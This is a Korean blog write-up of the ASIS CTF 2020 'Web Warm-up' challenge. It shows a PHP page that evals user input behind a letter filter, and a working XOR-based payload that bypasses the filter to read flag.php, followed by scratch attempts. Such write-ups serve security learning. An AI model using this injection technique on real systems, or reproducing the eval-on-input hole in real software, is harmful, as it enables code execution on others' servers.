SDJ( 수돈재 아님 ㅎ )

ASISctf 2020 Quals - Web Warm-up 본문

write-up/web

ASISctf 2020 Quals - Web Warm-up

ShinDongJun 2020. 7. 6. 01:27

웹 모르는데 warm-up이라 도전함

 

문제 코드

<?php
if(isset($_GET['view-source'])){
    highlight_file(__FILE__);
    die();
}

if(isset($_GET['warmup'])){
    if(!preg_match('/[A-Za-z]/is',$_GET['warmup']) && strlen($_GET['warmup']) <= 60) {
    eval($_GET['warmup']);
    }else{
        die("Try harder!");
    }
}else{
    die("No param given");
}

 

일단 eval이 있는 것을 봐서 무슨 code를 실행시키면 되는 것 같다.

 

preg_match()에서 /[a-zA-Z]/is로 warmup에 알파벳이 있는지 확인하고, 만약 알파벳이 있으면 빠꾸시킨다.

길이도 60을 넘기지 말아야한다.

 

일단 알파벳을 못쓰니까 이것을 대체할 방법을 찾아야하고 

php eval non alphanumeric exploit을 구글에 치니 js처럼 난독화마냥 xor을 통해 알파벳을 만들어 줄 수 있다고 한다.

 

그리고 보통 $_GET[] 하나로는 eval에서 득을 보기 힘들지만 php는 너무나도 유연하기 때문에 _GET 2개~3개를 더 넣어서 $_GET[1]($_GET[2])처럼 실행을 하면 그게 또 실행이 된다고 하더라..

 

그래서 거의 삽질만 주구장창했다.

삽질 과정에는 php에 ?>가 없어서 페이지가 죽는건지도 모르겠고 결국 세미콜론 하나 붙이면 에러가 안뜨는걸 알게됐다. 이 외에도 GET 파라미터가 제대로 들어간건지 몰라서 확인차 echo도 넣어보려고 했고 die도 넣어보려고 별짓을 했는데 안되더라.

 

결국 대회가 끝나고 flag를 땄다.

 

php 함수에서

highlight_file ( string $filename [, bool $return = FALSE ] )는 $filename에 있는 php코드를 syntax-highlighting해서 보여준다고 한다.

따라서 GET[1]에는 highlight_file, GET[2]에는 flag.php를 주었다.

 

완성된 페이로드

warmup=$_="_".("9"^"~").(";"^"~").("*"^"~");${$_}[_](${$_}[__]);&_=highlight_file&__=flag.php

 

이것을 보내면 아래와 같이 뜬다

<?php
$flag = "ASIS{w4rm_up_y0ur_br4in}";
?>

 

FLAG : ASIS{w4rm_up_y0ur_br4in}

 

아래는 잠시 삽질한 메모장 올려둔거

 

=======================================================================

 

 

아 도저히 안풀린다 일단 삽질한거 업로드 하고 자러감

http://69.90.132.196:5003/?warmup=is flag.php

$_=('7'^'@').('7'^'_').('/'^'@').(':'^'[').('@'^'-').('['^'2')
eval($_GET['t'])


t=(echo 1);&warmup="$_".(%279%27^%27~%27).(%27;%27^%27~%27).(%27*%27^%27~%27)."[%27".(%27*%27^%27^%27)."%27]"



("@"^"%").("3"^"[").("3"^"[").('@'^'/')." 1";?>
echo 1;?>

warmup="$_".('9'^'~').(';'^'~').('*'^'~')."['__']()";?>&__=echo;



<?php $_="{";$_=($_^"<").($_^">;").($_^"/");?>
<?=${'_'.$_}["_"](${'_'.$_}["__"]);?>

warmup=$"$_".('9'^'~').(';'^'~').('*'^'~')."['__']()";?>&__=echo;

("@"^"%").("3"^"[").("3"^"[").('@'^'/')." '1'";?>

 

'write-up > web' 카테고리의 다른 글

CONFidence 2020 CTF - Hidden flag  (0) 2020.03.23
utctf 2020 - Chatt with Bratt  (0) 2020.03.09
Comments